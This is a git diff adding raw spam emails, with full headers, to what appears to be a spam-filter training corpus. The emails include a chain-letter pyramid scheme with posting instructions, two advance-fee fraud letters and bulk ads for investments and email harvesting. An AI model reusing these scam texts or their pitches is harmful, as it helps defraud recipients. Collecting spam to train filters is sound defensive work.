    NOTE: You may want to = +retain every name and address sent to you, either on a computer or hard = +copy and keep the notes people send you. This VERIFIES that you are = +truly providing a service. (Also, it might be a good idea to wrap the $1 = +bill in dark paper to reduce the risk of mail theft.) So, as each post = +is downloaded and the directions carefully followed, six members will be = +reimbursed for their participation as a List Developer with one dollar = +each. Your name will move up the list geometrically so that when your = +name reaches the #1 position you will be receiving thousands of dollars = +in CASH!!! What an opportunity for only $6.00 ($1.00 for each of the = +first six people listed above) Send it now, and add your own name to the = +list and you're in business!

    -----DIRECTIONS ----- FOR HOW TO = +POST TO NEWSGROUPS--------------
    Step 1) You do not need to re-type = +this entire letter to do your own posting. Simply put your cursor at the = +beginning of this letter and drag your cursor to the bottom of this = +document, and select 'copy' from the edit menu. This will copy the = +entire letter into the computer's memory.

    Step 2) Open a blank = +'notepad' file and place your cursor at the top of the blank page. From = +the 'edit' menu select 'paste'. This will paste a copy of the letter = +into notepad so that
    you can add your name to the list.

    Step = +3) Save your new notepad file as a .txt file. If you want to do your = +postings in different settings, you'll always have this file to go back = +to.

    Step 4) Use Netscape or Internet explorer and try searching = +for various newsgroups (on-line forums, message boards, chat sites, = +discussions.)

    Step 5) Visit these message boards and post this = +article as a new message by highlighting the text of this letter and = +selecting paste from the edit menu. Fill in the Subject, this will = +
    be the header that everyone sees as they scroll through the list of = +postings in a particular group, click the post message button. You're = +done with your first one! Congratulations...THAT'S IT! All you have to = +do is jump to different newsgroups and post away, after you get the hang = +of it, it will take about 30 seconds for each newsgroup! = +

    **REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU = +WILL MAKE! BUT YOU HAVE TO POST A MINIMUM OF 200**

    that's it! = +You will begin receiving money from around the world within days! You = +may
    eventually want to rent a P.O. Box due to the large amount of = +mail you will receive. If
    you wish to stay anonymous, you can invent = +a name to use, as long as the postman will deliver it. **JUST MAKE SURE = +ALL THE ADDRESSES ARE CORRECT. **

    Now, each of the 5 persons who = +just sent me $1.00 make the MINIMUM 200 postings, each with my name at = +#5 and only 5 persons respond to each of the original 5, that is another = +$25.00 for me, now those 25 each make 200 MINIMUM posts with my name at = +#4 and only 5 replies each, I will bring in an additional $125.00! Now, = +those 125 persons turn around and post the MINIMUM 200 with my name at = +#3 and only receive 5 replies each, I will make an additional $625.00! = +OK, now here is the fun part, each of those 625 persons post a MINIMUM = +200 letters with my name at #2 and they each only receive 5
    replies, = +that just made me $3,125.00!!! Those 3,125 persons will all deliver this = +message to 200 newsgroups with my name at #1 and if still 5 persons per = +200 newsgroups react I will receive $15,625,00! With an original = +investment of only $6.00! AMAZING! When your name is no longer on the = +list, you just take the latest posting in the newsgroups, and send out = +another $6.00 to names on the list, putting your name at number 6 again. = +And start posting again. Do you TURN 6 (six) DOLLARS INTO $6000 or even = +$60000 EASY AND HONESTLY!!!

    The thing to remember is: do you = +realize that thousands of people all
    over the world are joining the = +Internet and reading these articles everyday? JUST LIKE YOU are now!! = +So, can you afford $6.00 and see if it really works?? I think so... = +People have said, "what if the plan is played out and no one sends you = +the money?" So what! What are the chances of that happening when there = +are tons of new honest users and new honest people who are joining the = +Internet and newsgroups everyday and are willing to give it a try? = +Estimates are at 20,000 to 50,000 new users, every day, with thousands = +of those joining the actual Internet. Remember, play FAIRLY and HONESTLY = +and this will really work.
    +
    +
    + View other = +groups in this category. +
    +
    + + = + +

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    + + + + +------=_NextPart_000_D20F_01C23B49.FFE05AE0-- + + diff --git a/bayes/spamham/spam_2/01270.f55f31ae8a3b92cdcddf7257aa9616a0 b/bayes/spamham/spam_2/01270.f55f31ae8a3b92cdcddf7257aa9616a0 new file mode 100644 index 0000000..f7aa140 --- /dev/null +++ b/bayes/spamham/spam_2/01270.f55f31ae8a3b92cdcddf7257aa9616a0 @@ -0,0 +1,70 @@ +From fork-admin@xent.com Tue Aug 6 12:52:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7725744245 + for ; Tue, 6 Aug 2002 07:21:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:21:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g747Qtv20256 for ; + Sun, 4 Aug 2002 08:26:55 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3B51B2940CB; Sun, 4 Aug 2002 00:24:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from coolre41331.com (node1f6f6.a2000.nl [24.132.246.246]) by + xent.com (Postfix) with SMTP id 2E74B29409D for ; + Sun, 4 Aug 2002 00:23:54 -0700 (PDT) +From: "David Kargbou" +Reply-To: "David Kargbou" +To: fork@spamassassin.taint.org +Subject: DANIEL KARGBO. fork ! +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020804072354.2E74B29409D@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 4 Aug 2002 09:24:34 +0200 +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g747Qtv20256 +Content-Transfer-Encoding: 8bit + + fork , + +From;Mr.David Kargbou and Family, + Johannesburg,South Africa. + +My Dear , + +Good day.This very confidential request should come as a surprise to you.But it is because of the nature of what is happening to me and my family urged me to contact you, and I quite understand that this is not the best way to contact you because of the nature of my request and the attention it requires.I got your contact information from your country's information directory during my desperate search for someone who can assist me secretly and confidentially in relocating and managing some family fortunes. +My name is Mr.David Kargbou,the second son of Mr.Smith Thabo Kargbou,of Beitbridge Zimbabwe.At the height of the present political crises in our country,in which the white farmers in our country are being slained and ripped off their belongings by the supporters of our president,Mr.Robert G.Mugabe,in their efforts to reclaim all the white owned farms in our country,my father and my elder brother were brutally slained to a painful death on the 13th of february,2002, in their struggle to protect some white farmers who ran to take refuge in our house.My father,during his life on earth was a prominent business man who trades on diamond and gold from some foreign countries .He publicly opposes the crude policies and crime against humanity on the white farmers by Mr.Robert Mugabe and his followers,which they enforced media law restrictions to protect their wicked acts.That not being enough,the president and his followers after winning the la + st undemocratic elections decided to block and confiscate all accounts and assets of our black indigenes[that included my fathers assets and accounts] who oppose his policies and render support to these white farmers,along with the assets of these white farmers themselves,that are being presently confiscated.I therefore decided to move my mother and younger sister to the Republic of South Africa,where we presently live without anything and without any source of livelyhood. +During my fathers life on earth,he had deposited the sum of Seven Million and Four Hundred Thousand United States Dollars[$7.400.000.00]in a Trunk box with a Finance and Security Company in the Republic of Togo for a cash and carry Diamond and Gold business with some foreign business customers, awaiting instructions to be moved to its destination,which he never completed before he met his untimely death on that faithful day.In view of this and as the only surviving son of my father,and with the present clamp down,killing and confiscation of his assets as one of those who render support to the white farmers in our country,I therefore humbly wish to inform you of my intentions to use your name and adress in making sure that this fund is lifted out of Africa finally,to the Europe office of the finance company and also seek for your honest and trustworthy assistance to help me clear and accommodate this money over there before it is dictated out and bloc + ked by the present Mugabe's regime.My mother is presently with the valid document covering this deposit. + +Now this is what I actually want you to do for me; + +1. I want you to be presented to the Finance and Security company as the person I contacted to assist my family for this purpose, with whose name and adress myself and my mother will forward to them their office in the Republic of Togo as the person that will clear this money when they lift it out to their europe office. +2. To finally assist me in accommodating and managing this money in any lucrative business in your country for at least three years. +Please,I hope you will grant and view this very request with favour and much understanding of our situation now,and will be a very honest and reliable person to deal with.And also bearing in mind the confidential nature of this my request,I emphasize please that you keep every bit of it to yourself so as to protect my familys future and yourself rendering this help.Thanking you in anticipation of your urgent response as soon as you read this very request. + +Best Regards, + +Mr.David Kargbou and family. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01271.c74d2888efc2f1897ee890001abf05e7 b/bayes/spamham/spam_2/01271.c74d2888efc2f1897ee890001abf05e7 new file mode 100644 index 0000000..d594193 --- /dev/null +++ b/bayes/spamham/spam_2/01271.c74d2888efc2f1897ee890001abf05e7 @@ -0,0 +1,189 @@ +From programmers@bellsouth.net Tue Aug 6 12:53:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 64A8A44246 + for ; Tue, 6 Aug 2002 07:21:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:21:53 +0100 (IST) +Received: from mx1.reynolds.net.au (mx2.reynolds.net.au [203.38.119.68] + (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7481Nv21081 for ; Sun, 4 Aug 2002 09:01:25 +0100 +Received: (from root@localhost) by mx1.reynolds.net.au (8.11.6/8.11.6) id + g747xca01458 for sales@spamassassin.org; Sun, 4 Aug 2002 15:59:38 +0800 +Received: from fep02-svc.flexmail.it (fep02.tuttopmi.it [212.131.248.101]) + by mx1.reynolds.net.au (8.11.6/8.11.6) with ESMTP id g747xQr01313 for + ; Sun, 4 Aug 2002 15:59:30 +0800 +Received: from servente.littech.it ([80.206.226.146]) by + fep02-svc.flexmail.it (InterMail vM.5.01.05.09 + 201-253-122-126-109-20020611) with ESMTP id + <20020804075908.EGEY4096.fep02-svc.flexmail.it@servente.littech.it>; + Sun, 4 Aug 2002 09:59:08 +0200 +Received: from 213.0.3.211 (213-0-3-211.uc.nombres.ttd.es [213.0.3.211]) + by servente.littech.it with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id QHRLCSZ3; Sun, 4 Aug 2002 10:01:32 +0200 +From: Merrill Azcona +To: +Date: 04 Aug 02 08:13:19 -0000 +Subject: Custom Software Development Services Available Right Now.. +X-Mailer: Microsoft Outlook Express 6.00.2600.0000.7401 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +MIME-Version: 1.0 +Message-Id: <20020804075908.EGEY4096.fep02-svc.flexmail.it@servente.littech.it> +X-Antivirus: Reynolds Virus Scan OK. http://www.rts.com.au/policies/viruses/ +X-Reynoldspurgedate: 1028447971 +Content-Type: multipart/alternative; boundary=NS_MAIL_Boundary_07132002 + +This is a multi-part message in MIME format. +--NS_MAIL_Boundary_07132002 +Content-Type: text/html + + + + + + + + + + + + + + + + +
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    +--NS_MAIL_Boundary_07132002-- + + diff --git a/bayes/spamham/spam_2/01272.ae29c7d7f5acfc747cf55082aa628a40 b/bayes/spamham/spam_2/01272.ae29c7d7f5acfc747cf55082aa628a40 new file mode 100644 index 0000000..97c14cd --- /dev/null +++ b/bayes/spamham/spam_2/01272.ae29c7d7f5acfc747cf55082aa628a40 @@ -0,0 +1,59 @@ +From Lisandra2283348@jrnl.ut.ee Tue Aug 6 12:52:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED04144118 + for ; Tue, 6 Aug 2002 07:18:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:18:41 +0100 (IST) +Received: from mail.ksilbo.co.kr ([211.183.223.230]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g73MLJv29787; + Sat, 3 Aug 2002 23:21:19 +0100 +Received: from olemail.com (unverified [62.110.39.186]) by + mail.ksilbo.co.kr (EMWAC SMTPRS 0.83) with SMTP id + ; Sun, 04 Aug 2002 07:26:40 +0900 +Message-Id: <00004d5e57e3$0000103c$00005a82@dbzmail.com> +To: +From: "Alejandra" +Subject: Special Investor update. +Date: Sat, 03 Aug 2002 18:19:00 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit + +On January 1st 2002, the European countries began +using the new Euro. Never before have so +many countries with such powerful economies united +to use a single currency. Get your piece of history +now! We would like to send you a FREE Euro +and a FREE report on world currency. Just visit +our site to request your Euro and Euro report: + +http://www.information-depot.com/EuroExchange/ + +In addition to our currency report, you can receive +our FREE INVESTMENT PACKAGE: + +* Learn how $10,000 in options will leverage $1,000,000 in +Euro Currency. This means even a small movement in the market +has huge profit potential. + +If you are over age 18 and have some risk capital, it's +important that you find out how the Euro will +change the economic world and how you can profit! + +CLICK NOW! http://www.information-depot.com/EuroExchange/ + +$10,000 minimum investment + +Please carefully evaluate your financial position before +trading. Only risk capital should be used. + +http://www.information-depot.com/takemeoff/ To OptOut. + + + + + + diff --git a/bayes/spamham/spam_2/01273.b738ce23f30ea10c7ad44d949d111199 b/bayes/spamham/spam_2/01273.b738ce23f30ea10c7ad44d949d111199 new file mode 100644 index 0000000..d2ec028 --- /dev/null +++ b/bayes/spamham/spam_2/01273.b738ce23f30ea10c7ad44d949d111199 @@ -0,0 +1,54 @@ +From trimbird@hotmail.com Tue Aug 6 12:52:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4AC4744184 + for ; Tue, 6 Aug 2002 07:20:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:20:39 +0100 (IST) +Received: from chameleon.mrtdomain ([209.181.155.30]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g73Nqxv32428 for + ; Sun, 4 Aug 2002 00:52:59 +0100 +Received: from kinglessa.com ([200.84.96.219]) by chameleon.mrtdomain + (NAVGW 2.5.2.12) with SMTP id M2002080304342729659 ; Sat, 03 Aug 2002 + 04:34:36 -0700 +Message-Id: <0000183075ff$000030d3$000050a9@pcihl.com> +To: , , + , , + , , + , +Cc: , , + , , , + , , + +From: trimbird@hotmail.com +Subject: Norton Systemworks 2002 Final Clearance 1093 +Date: Sat, 03 Aug 2002 18:38:41 -1700 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +


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    + + + + + diff --git a/bayes/spamham/spam_2/01274.6eb8dc0890717ae45385f0393024c30e b/bayes/spamham/spam_2/01274.6eb8dc0890717ae45385f0393024c30e new file mode 100644 index 0000000..d82fd1c --- /dev/null +++ b/bayes/spamham/spam_2/01274.6eb8dc0890717ae45385f0393024c30e @@ -0,0 +1,47 @@ +From safety33o@now5.takemetothesavings.com Tue Aug 6 11:02:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1028A4412E + for ; Tue, 6 Aug 2002 05:56:21 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:56:21 +0100 (IST) +Received: from now5.takemetothesavings.com ([64.25.33.75]) + by webnote.net (8.9.3/8.9.3) with ESMTP id QAA12029 + for ; Sun, 4 Aug 2002 16:19:05 +0100 +From: safety33o@now5.takemetothesavings.com +Date: Sun, 4 Aug 2002 08:21:27 -0400 +Message-Id: <200208041221.g74CLRU12510@now5.takemetothesavings.com> +To: hrawytgnqv@takemetothesavings.com +Reply-To: safety33o@now5.takemetothesavings.com +Subject: ADV: Extended Auto Warranties Here ldiop + +Protect your financial well-being. + Purchase an Extended Auto Warranty for your Car today. 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To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_253BBB_01C23BCA.9FD9F850 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Triple Your Index Annuity Sales + + + + + + =20 + + + =20 + + +
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+ Mon, 05 Aug 2002 19:35:02 +0800 +Message-Id: +From: dimon@h8h.com.tw +To: 06@dogma.slashnull.org, 05@dogma.slashnull.org, + 04@dogma.slashnull.org, 03@dogma.slashnull.org, + 02@dogma.slashnull.org, 01@dogma.slashnull.org, + 0803-2@dogma.slashnull.org, 0803-3@dogma.slashnull.org, + 0804-1@dogma.slashnull.org +Subject: =?big5?Q?=A5x=C6W=A4H=A3x=A5i=A9=C8=A7A=AC=DD?= +MIME-Version: 1.0 +X-Mailer: T7ZMpb0XnYxUD1AjuR130Qf4Dapf +X-Priority: 3 +X-Msmail-Priority: Normal +Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_U7taSLCsDhMjBsrSf8w" + +This is a multi-part message in MIME format. + +------=_NextPart_U7taSLCsDhMjBsrSf8w +Content-Type: multipart/alternative; + boundary="----=_NextPart_U7taSLCsDhMjBsrSf8wAA" + + +------=_NextPart_U7taSLCsDhMjBsrSf8wAA +Content-Type: text/html; + charset="big5" +Content-Transfer-Encoding: base64 + +PGh0bWw+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29u +dGVudD0iemgtdHciPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0 +ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSI+DQo8bWV0YSBuYW1lPSJHRU5FUkFUT1IiIGNvbnRlbnQ9 +Ik1pY3Jvc29mdCBGcm9udFBhZ2UgNC4wIj4NCjxtZXRhIG5hbWU9IlByb2dJZCIgY29udGVudD0i +RnJvbnRQYWdlLkVkaXRvci5Eb2N1bWVudCI+DQo8dGl0bGU+pL2qqbxzp2mrSL1kqNI8L3RpdGxl +Pg0KPC9oZWFkPg0KDQo8Ym9keT4NCg0KPHAgc3R5bGU9Im1hcmdpbi10b3A6IDA7IG1hcmdpbi1i +b3R0b206IDAiPjxmb250IGNvbG9yPSIjODA4MDgwIj6zb6xPqWWwVaXRsU23frxzp2mkvaVxpU61 +b6TFqr2xtaZeq0i1TKprsbWmrCAgICAgDQrL5yB+ICE8L2ZvbnQ+PC9wPiAgICANCg0KPGhyIHNp +emU9IjEiPg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgPGNlbnRlcj4NCiAgPHRhYmxlIGJvcmRl +cj0iMCIgd2lkdGg9IjYwNiIgaGVpZ2h0PSIzNjUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGlu +Zz0iMCIgc3R5bGU9ImJvcmRlcjogMiBkb3R0ZWQgI0ZGOTkzMyI+DQogICAgPHRyPg0KICAgICAg +PHRkIHdpZHRoPSI2MDAiIGhlaWdodD0iMzY1IiB2YWxpZ249Im1pZGRsZSIgYWxpZ249ImNlbnRl +ciIgYmdjb2xvcj0iI0U2RkZGMiI+PGZvbnQgc2l6ZT0iNCI+PGI+PGZvbnQgY29sb3I9IiMwMDgw +ODAiPrRNp+TCvaitvve3fLbcoUg8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDAwMDAiPqazuGfA2cCj +pE+23KFIoUg8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwMDAiPrdRvtams6bbpHaquqjGt3623KFI +oUihSDwvZm9udD48L2I+PC9mb250Pg0KICAgICAgICA8cD4mbmJzcDs8Yj48Zm9udCBjb2xvcj0i +I2ZmMDBmZiIgc2l6ZT0iNyI+p088L2ZvbnQ+PGZvbnQgY29sb3I9IiNmZjAwMDAiIHNpemU9IjYi +PsNousOhSaFJp0u2T711pFe8dqT5pd+nWbHQp0GmcKbzsLWo7KzdwLSkRrROr+A8L2ZvbnQ+PGZv +bnQgY29sb3I9IiNmZjY2MDAiIHNpemU9IjciPqfvxdynQaq6pEClzTwvZm9udD48L2I+PC9wPg0K +ICAgICAgICA8cD48Zm9udCBzaXplPSI1Ij4mbmJzcDs8L2ZvbnQ+PGEgaHJlZj0iaHR0cDovL2Rp +bW9uLmg4aC5jb20udHcvIj48Yj48dT48c3BhbiBzdHlsZT0iQkFDS0dST1VORC1DT0xPUjogIzAw +MDBmZiI+PGZvbnQgY29sb3I9IiNmZmZmMDAiIHNpemU9IjUiPr11pFe8dqT5PC9mb250Pjwvc3Bh +bj48L3U+PC9iPjwvYT48L3A+DQogICAgICAgIDxwPqFAPC90ZD4NCiAgICA8L3RyPg0KICA8L3Rh +YmxlPg0KICA8L2NlbnRlcj4NCjwvZGl2Pg0KPGhyIHNpemU9IjEiPg0KPHAgYWxpZ249ImNlbnRl +ciIgc3R5bGU9Im1hcmdpbi10b3A6IDA7IG1hcmdpbi1ib3R0b206IDAiPjxmb250IGNvbG9yPSIj +RkYwMDAwIj6mcKazpbTCWr3QqKO9zKFBpKO3UaZBpqyo7Ka5q0i90Kv2Jm5ic3A7ICAgDQotJmd0 +OyZuYnNwOyAoPGEgaHJlZj0iaHR0cDovL3gtbWFpbC5oOGguY29tLnR3IiB0YXJnZXQ9Il9ibGFu +ayI+qdqmrLxzp2k8L2E+KTwvZm9udD48L3A+IA0KDQo8L2JvZHk+DQoNCjwvaHRtbD4= + + +------=_NextPart_U7taSLCsDhMjBsrSf8wAA-- +------=_NextPart_U7taSLCsDhMjBsrSf8w-- + + + + diff --git a/bayes/spamham/spam_2/01289.2f9168490b8c45e76af4935b4827f702 b/bayes/spamham/spam_2/01289.2f9168490b8c45e76af4935b4827f702 new file mode 100644 index 0000000..10dd090 --- /dev/null +++ b/bayes/spamham/spam_2/01289.2f9168490b8c45e76af4935b4827f702 @@ -0,0 +1,88 @@ +From fork-admin@xent.com Wed Aug 7 08:27:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6F392440A8 + for ; Wed, 7 Aug 2002 03:27:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 08:27:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g777RTk15517 for ; + Wed, 7 Aug 2002 08:27:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 785D92940B9; Wed, 7 Aug 2002 00:24:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail1.epatra.com (unknown [64.14.239.220]) by xent.com + (Postfix) with ESMTP id D1FCF2940AE for ; Wed, + 7 Aug 2002 00:22:59 -0700 (PDT) +Received: from suvi232.pugmarks.net (suvi232.pugmarks.net [64.14.239.232]) + by mail1.epatra.com (8.11.6/8.11.6) with ESMTP id g777av301166 for + ; Wed, 7 Aug 2002 13:06:57 +0530 +Received: (from www@localhost) by suvi232.pugmarks.net (8.11.6/8.9.3) id + g75CbW531568; Mon, 5 Aug 2002 18:07:32 +0530 +Message-Id: <200208051237.g75CbW531568@suvi232.pugmarks.net> +From: lbrahim jallow +To: fork@spamassassin.taint.org +X-Eplanguage: en +Subject: Business Proposal +X-Originating-Ip: [207.50.228.120] +X-Priority: 3 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 5 Aug 2002 18:07:32 +0530 +Content-Type: text/html + + +Hello +
    Dear Sir. +
    I got your contact in cause of a seriouse search for a +
    reliable foreign partner, which really made me to +
    contact you for assistance in transfering my money to +
    you for investement purpose. +
    I'm Mr Ibrahim Jallow. the son of a late sierraleonian +
    business man Mr Kulu Jallow..Who died two yaers ago +
    when the revolutionary united front rebels +
    (R.U.F)attacked our residence in Makeni Sierra leone. +
    Following the cease fire agreement which was reach +
    last year with the help of United Nation peace keeping +
    troops,I used the oppoturnity to leave the country +
    with a very important document +
    of(US$14.500.000m)Fourteen million Five Hundred +
    Thounsand U.S Dollars deposited by my late father in +
    security company in Dakar Senegal,under my name.this +
    money was realised from diamond export. +
    Now' I'm searching for a trusted individual or foreing +
    firm whom I can invest this money with for I am! + next +
    of kin to these money.However I contact you based on +
    your capability and vast knowledge on international +
    commercial investement. For your assistance and +
    co-opertion I will give you 15%of the total sum +
    realised after the sucessfull transfer of this money. +
    Please kindly communicate your acceptance of this +
    proposal through this my e-mail address so that we can +
    discuss the modalities of seeing this transaction +
    through.I count on you greately for your assistance. +
    Awaiting your earnest response With regards. +
    Yours,faithfully. +
    MR.Ibrahim.Jallow. + +
    _____________________________________________________________________ +

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    India's first multilingual mailing system: Get your Free e-mail account at www.epatra.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01290.cc97aad0960efa7c8b76464b39d54bc9 b/bayes/spamham/spam_2/01290.cc97aad0960efa7c8b76464b39d54bc9 new file mode 100644 index 0000000..e155415 --- /dev/null +++ b/bayes/spamham/spam_2/01290.cc97aad0960efa7c8b76464b39d54bc9 @@ -0,0 +1,114 @@ +From emailharvest@email.com Tue Aug 6 12:55:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB40C4411E + for ; Tue, 6 Aug 2002 07:32:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 12:32:03 +0100 (IST) +Received: from localhost.com ([61.174.203.135]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g75CdUv11298 for ; + Mon, 5 Aug 2002 13:39:36 +0100 +Message-Id: <200208051239.g75CdUv11298@dogma.slashnull.org> +From: emailharvest@email.com +Reply-To: emailharvest@email.com +To: fma@spamassassin.taint.org +Date: Mon, 5 Aug 2002 20:38:02 +0800 +Subject: ADV: Harvest lots of E-mail addresses quickly ! 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    Hi, I am Fatimata i have been thinking to get a trust worthy person about the issure boadering me but i never wanted to say this to any body but i can no longer keep this to my self.please i will like you to advice on this,i want a beneficiary to my deposited fund in the I.C.C international credit commission liaison vault office hear in dakar senegal.which i was ask to get a foriegn beneficiary who this fund can be transfer to his account before it can be relaese .so this has been  urgent that is why i am puting this before you for an idea or if you are willing to do this for me ,and your service percentage will be discuss as soon as you agree to do this. Thanks. +


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If you do not wish to receive further mailings from this offer, please click below and enter your email to remove your email from future offers. + +**************************************************************** + +Anti-SPAM Policy Disclaimer: Under Bill s.1618 Title III passed by the 105th U. S. Congress, mail cannot be considered spam as long as we include contact information and a remove link for removal from this mailing list. If this e-mail is unsolicited, please accept our apologies. Per the proposed H.R. 3113 Unsolicited Commercial Electronic Mail Act of 2000, further transmissions to you by the sender may be stopped at NO COST to you + +**************************************************************** + +Click to remove @ http://srd.yahoo.com/drst/20834/*http://www.spambites.com/cgi-bin/enter.cgi?spambytes_id=1214578 + +**************************************************************** + diff --git a/bayes/spamham/spam_2/01299.0eab794ad20a8b32dfa3d6e3fedc1b31 b/bayes/spamham/spam_2/01299.0eab794ad20a8b32dfa3d6e3fedc1b31 new file mode 100644 index 0000000..36be848 --- /dev/null +++ b/bayes/spamham/spam_2/01299.0eab794ad20a8b32dfa3d6e3fedc1b31 @@ -0,0 +1,47 @@ +From gyiskcnvbfc@msn.com Tue Aug 6 11:04:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 713CC44140 + for ; Tue, 6 Aug 2002 05:56:59 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:56:59 +0100 (IST) +Received: from campus ([211.196.150.24]) + by webnote.net (8.9.3/8.9.3) with SMTP id TAA15669 + for ; Mon, 5 Aug 2002 19:36:10 +0100 +Received: (qmail 6829 invoked by uid 0); 5 Aug 2002 18:30:50 +0900(KST) +Received: from unknown (HELO smtp-gw-4.msn.com) (207.66.186.19) + by 0 with SMTP; 5 Aug 2002 18:30:50 +0900(KST) +Message-ID: <00006e7b4fe0$00005251$00007192@smtp-gw-4.msn.com> +To: +From: "Shelley Boggs" +Subject: Re: Money Issues OL +Date: Mon, 05 Aug 2002 04:48:35 -1700 +MIME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +

